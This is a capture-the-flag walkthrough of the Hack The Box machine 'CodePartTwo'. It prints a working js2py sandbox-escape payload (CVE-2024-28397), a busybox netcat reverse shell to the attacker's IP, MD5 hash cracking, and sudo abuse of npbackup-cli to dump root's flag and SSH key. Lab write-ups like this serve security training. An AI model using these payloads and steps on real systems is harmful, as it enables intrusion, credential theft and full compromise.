Skip to main content

Starting the box

Link to the box: https://app.hackthebox.com/machines/CodePartTwo

Port Scan

We start off the box by running a port scan on the provided IP.
Attacker Linux
rustscan --ulimit 5000 -a 10.10.11.82 -r 1-65535 -- -A -vvv -oN CodePartTwo
Output of Rustscan:
Terminal Output
Open 10.10.11.82:22
Open 10.10.11.82:8000
Output of Nmap:
Terminal Output
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnwmWCXCzed9BzxaxS90h2iYyuDOrE2LkavbNeMlEUPvMpznuB9cs8CTnUenkaIA8RBb4mOfWGxAQ6a/nmKOea1FA6rfGG+fhOE/R1g8BkVoKGkpP1hR2XWbS3DWxJx3UUoKUDgFGSLsEDuW1C+ylg8UajGokSzK9NEg23WMpc6f+FORwJeHzOzsmjVktNrWeTOZthVkvQfqiDyB4bN0cTsv1mAp1jjbNnf/pALACTUmxgEemnTOsWk3Yt1fQkkT8IEQcOqqGQtSmOV9xbUmv6Y5ZoCAssWRYQ+JcR1vrzjoposAaMG8pjkUnXUN0KF/AtdXE37rGU0DLTO9+eAHXhvdujYukhwMp8GDi1fyZagAW+8YJb8uzeJBtkeMo0PFRIkKv4h/uy934gE0eJlnvnrnoYkKcXe+wUjnXBfJ/JhBlJvKtpLTgZwwlh95FJBiGLg5iiVaLB2v45vHTkpn5xo7AsUpW93Tkf+6ezP+1f3P7tiUlg3ostgHpHL5Z9478=
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBErhv1LbQSlbwl0ojaKls8F4eaTL4X4Uv6SYgH6Oe4Y+2qQddG0eQetFslxNF8dma6FK2YGcSZpICHKuY+ERh9c=
|   256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJovaecM3DB4YxWK2pI7sTAv9PrxTbpLG2k97nMp+FM

8000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
| http-methods:
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
A few key notes:
  • Port 22 (SSH) is open. Running OpenSSH 8.2p1 — we’ll keep this in mind for later.
  • Port 8000 (HTTP) is open, served by Gunicorn 20.0.4 — a Python WSGI HTTP server.
  • OS is Linux (Ubuntu).

Edit the Hosts file

We don’t see any redirect in the Nmap output, so we’ll skip the hosts file for now. If we discover a hostname later during enumeration, we’ll add it then.

Initial Foothold

Enumerating Port 22: SSH

While there could be vulnerabilities in OpenSSH 8.2p1, it is rarely the intended attack vector in HTB settings. Without credentials, SSH isn’t useful right now. Let’s focus on the web server.

Enumerating Port 8000: Web Server

Manual Enumeration

Let’s browse to the web application at http://10.10.11.82:8000:
  • The landing page shows “Welcome to CodePartTwo” — a simple web interface.
  • There’s a login page and registration functionality.
  • After registering an account and logging in, we reach a dashboard.
The dashboard mentions something about running code snippets. Let’s keep exploring to understand what this application does.

Directory Busting

Let’s run directory enumeration to find hidden endpoints:
Attacker Linux
feroxbuster -u http://10.10.11.82:8000 -C 404
Terminal Output
200      GET       28l       60w      857c http://10.10.11.82:8000/login
200      GET       33l       65w      952c http://10.10.11.82:8000/register
302      GET        5l       22w      189c http://10.10.11.82:8000/logout
200      GET      161l      472w     5442c http://10.10.11.82:8000/
302      GET        5l       22w      199c http://10.10.11.82:8000/dashboard
200      GET        -         -         - http://10.10.11.82:8000/download
  • We found a /download endpoint — let’s check it out.
Accessing http://10.10.11.82:8000/download triggers a file download: app.zip.
  • This appears to be the application source code.
  • Let’s unzip and review it.

Reviewing the Source Code

After extracting app.zip, we find the Flask application source code. The main file is app.py. Key findings in app.py: Flask secret key:
app.py
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
  • This could be useful for session manipulation if needed.
Hidden endpoint:
app.py
@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})
  • There’s a /run_code endpoint that accepts JavaScript code via POST request.
  • It uses js2py.eval_js() to evaluate the JavaScript code server-side.
  • This is a potential Remote Code Execution (RCE) vector.

Exploiting js2py RCE (CVE-2024-28397)

The application uses js2py to evaluate JavaScript code. A quick search reveals CVE-2024-28397 — a sandbox escape vulnerability in js2py that allows arbitrary Python code execution. Reference:

Testing the Endpoint

Let’s first verify the endpoint works without authentication:
HTTP Request
POST /run_code HTTP/1.1
Host: 10.10.11.82:8000
Content-Type: application/json
Content-Length: 20

{"code": "1+1"}
HTTP Response
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Content-Type: application/json
Content-Length: 15

{"result": 2}
  • Nice! The endpoint is accessible and evaluates our JavaScript code.

Building the Exploit

The CVE-2024-28397 exploit uses JavaScript prototype pollution to escape the sandbox and access Python’s subprocess module. Here’s the exploit payload structure:
let cmd = "command_to_execute"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
This payload:
  1. Accesses Python’s object model through JavaScript prototype chain
  2. Traverses Python’s class hierarchy to find the subprocess.Popen class
  3. Executes a shell command using Popen

Getting a Reverse Shell

Let’s set up a listener and send a reverse shell payload:
Attacker Linux
nc -nlvp 443
Now we send the exploit with a reverse shell command:
HTTP Request
POST /run_code HTTP/1.1
Host: 10.10.11.82:8000
Content-Type: application/json
Content-Length: 757

{"code":"let cmd = \"busybox nc 10.10.14.13 443 -e /bin/bash \"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" && (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nn11"}
We successfully receive a reverse shell:
Terminal Output
listening on [any] 443 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.82] 45678
Victim Linux
whoami
Terminal Output
app
  • We have a shell as the app user.

Post-Initial Enumeration (as app)

Finding Credentials in the Database

Let’s check the Flask application directory for the user database:
Victim Linux
cd /home/app/app
ls -la
Terminal Output
drwxr-xr-x 4 app  app   4096 Jun 18 11:16 .
drwxr-xr-x 3 app  app   4096 Apr  6 03:50 ..
-rw-r--r-- 1 app  app   1234 Jun 18 11:16 app.py
drwxr-xr-x 2 app  app   4096 Jun 18 11:16 templates
drwxr-xr-x 2 app  app   4096 Jun 18 11:16 instance
The instance directory typically contains the SQLite database:
Victim Linux
cd instance
sqlite3 users.db
SQLite Console
sqlite> .tables
user
sqlite> select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
  • We found two users: marco and app.
  • Both have MD5 password hashes.
Let’s check /etc/passwd to see which users have shell access:
Victim Linux
cat /etc/passwd | grep -E "(marco|app)"
Terminal Output
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash
  • Both users have valid shell accounts.
  • Let’s focus on marco as they’re likely the primary user.

Cracking the Hashes

Let’s crack marco’s MD5 hash using hashcat:
Attacker Linux
echo "649c9d65a206a75f5abe509fe128bce5" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
Terminal Output
649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove
Credentials:
Terminal Output
marco:sweetangelbabylove

Logging in as marco

Let’s use SSH to get a proper shell as marco:
Attacker Linux
Terminal Output
marco@codeparttwo:~$ cat user.txt
54e94cff6a20dbb93844ad2e0a8ca4ad
  • User flag: 54e94cff6a20dbb93844ad2e0a8ca4ad.

Privilege Escalation

Post-ex Enumeration

Let’s list the contents of marco’s home directory:
Victim Linux
ls -la
Terminal Output
total 48
drwxr-x--- 3 marco marco 4096 Sep 25 10:00 .
drwxr-xr-x 4 root  root  4096 Apr  6 03:50 ..
-rw-r--r-- 1 marco marco  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 marco marco 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 marco marco  807 Feb 25  2020 .profile
drwx------ 7 root  root  4096 Apr  6 03:50 backups
-rw-rw-r-- 1 root  root  2893 Jun 18 11:16 npbackup.conf
-rw-r----- 1 root  marco   33 Sep 24 18:03 user.txt
A few interesting findings:
  • backups/ directory owned by root with restricted permissions.
  • npbackup.conf configuration file owned by root but world-readable.
  • This looks like a backup tool setup — potentially a cronjob or service running as root.
Let’s check our sudo privileges:
Victim Linux
sudo -l
Terminal Output
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
  • Interesting! We can run /usr/local/bin/npbackup-cli as root without a password.

Abusing npbackup-cli for Privileged File Read

Let’s explore the intended privilege escalation path using the npbackup-cli binary.

Understanding npbackup

First, let’s try running npbackup-cli:
Victim Linux
sudo /usr/local/bin/npbackup-cli
Terminal Output
2025-09-25 10:26:28,729 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-09-25 10:26:28,729 :: CRITICAL :: Cannot run without configuration file.
2025-09-25 10:26:28,734 :: INFO :: ExecTime = 0:00:00.006151, finished, state is: critical.
  • It requires a configuration file to run.
  • We already have one in marco’s home directory: npbackup.conf.

Reviewing the Configuration File

Let’s examine the existing configuration:
Victim Linux
cat npbackup.conf
The configuration file contains encrypted repository URI and password, plus backup settings:
npbackup.conf snippet
repos:
  default:
    repo_uri:
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    backup_opts:
      paths:
      - /home/app/app/
  • The default configuration backs up /home/app/app/ to the repository.

Testing with the Default Configuration

Let’s run a backup with the existing configuration:
Victim Linux
sudo /usr/local/bin/npbackup-cli --backup -c ./npbackup.conf
Terminal Output
2025-09-25 10:29:47,502 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-09-25 10:29:47,521 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-09-25 10:29:49,143 :: INFO :: Running backup of ['/home/app/app/'] to repo default
...
snapshot d27e08c6 saved
  • The backup runs successfully as root.
  • Since it runs as root, we can modify the configuration to back up privileged directories.

Backing Up /root

Let’s create our own configuration file to back up /root:
Victim Linux
cp npbackup.conf /tmp/np.conf
nano /tmp/np.conf
We modify the paths section:
backup_opts:
  paths:
  - /root
Now let’s run a backup of /root:
Victim Linux
sudo /usr/local/bin/npbackup-cli --backup -c /tmp/np.conf
Terminal Output
2025-09-25 10:35:30 :: INFO :: Running backup of ['/root'] to repo default
...
snapshot 844bc0a9 saved
  • Successfully backed up /root.

Listing Snapshots

Let’s verify our snapshot was created:
Victim Linux
sudo /usr/local/bin/npbackup-cli -c /tmp/np.conf -s
Terminal Output
ID        Time                 Host         Tags        Paths          Size
----------------------------------------------------------------------------------
35a4dac3  2025-04-06 03:50:16  codetwo                  /home/app/app  48.295 KiB
844bc0a9  2025-09-25 10:35:30  codeparttwo              /root          197.660 KiB
----------------------------------------------------------------------------------
2 snapshots
  • Our /root snapshot is ID 844bc0a9.

Dumping Files from the Snapshot

The --dump option allows us to extract files from snapshots. Let’s dump the root flag:
Victim Linux
sudo /usr/local/bin/npbackup-cli -c /tmp/np.conf --dump /root/root.txt
Terminal Output
46e970d8ddc27f5723b1ceb158d3755c
  • Root flag: 46e970d8ddc27f5723b1ceb158d3755c.

Listing Root Directory Contents

We can also list all files in the snapshot to find more interesting targets:
Victim Linux
sudo /usr/local/bin/npbackup-cli -c /tmp/np.conf --ls
Terminal Output
snapshot 844bc0a9 of [/root] at 2025-09-25 10:35:30.620479975 +0000 UTC by root@codeparttwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/root.txt
/root/scripts
  • We can see root’s SSH private key is available: /root/.ssh/id_rsa.

Extracting Root’s SSH Key

Let’s dump the SSH private key for persistence:
Victim Linux
sudo /usr/local/bin/npbackup-cli -c /tmp/np.conf --dump /root/.ssh/id_rsa > /tmp/root_key
cat /tmp/root_key
Terminal Output
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA9apNjja2/vuDV4aaVheXnLbCe7dJBI/l4Lhc0nQA5F9wGFxkvIEy
VXRep4N+ujxYKVfcT3HZYR6PsqXkOrIb99zwr1GkEeAIPdz7ON0pwEYFxsHHnBr+rPAp9d
...
-----END OPENSSH PRIVATE KEY-----
Now we can SSH in as root:
Attacker Linux
chmod 600 root_key
ssh [email protected] -i root_key
Terminal Output
root@codeparttwo:~# whoami
root
  • We now have a root shell via SSH.

Learning

1. js2py Sandbox Escape (CVE-2024-28397)

The js2py library allows Python applications to execute JavaScript code. CVE-2024-28397 is a sandbox escape vulnerability that allows attackers to access Python’s object model through JavaScript’s prototype chain. By traversing Python’s class hierarchy (__class__.__base__.__subclasses__()), we can find and execute the subprocess.Popen class to run arbitrary shell commands. Applications should never execute untrusted JavaScript code using js2py, especially in versions prior to the security patch.

2. Blind RCE Detection with Reverse Shells

When testing for RCE vulnerabilities, you don’t always get immediate feedback. If you suspect a blind RCE exists (commands execute but no output is returned), immediately try a reverse shell connection back to your machine instead of trying to debug command execution in place. Use busybox nc or other available tools on the target to establish the connection.

3. Credential Hunting in Application Databases

Web applications often store user credentials in local SQLite databases. After gaining initial access, always check for:
  • Application directories (/home/app/app/, /var/www/, etc.)
  • Instance or data folders containing .db files
  • Weak password hashes (MD5, SHA1) that can be quickly cracked with hashcat and rockyou.txt

4. Abusing Backup Tools for Privileged File Read

Backup utilities that run as root can be abused to read any file on the system. When you have sudo access to a backup tool like npbackup-cli, restic, or similar:
  1. Create a custom configuration file pointing to the target directory (e.g., /root)
  2. Run a backup as root using the custom configuration
  3. Use the tool’s restore/dump functionality to extract specific files from the snapshot This technique works even if you can’t directly read the files due to permission restrictions.

Tags

Initial Access

#Web_Exploit #Python #js2py #CVE-2024-28397 #Sandbox_Escape #RCE #Source_Code_Review #Credentials_Hunting #Hash_Cracking

Privilege Escalation

#Sudo #Backup_Abuse #Privileged_File_Read #npbackup #SSH_Keys
Last modified on February 17, 2026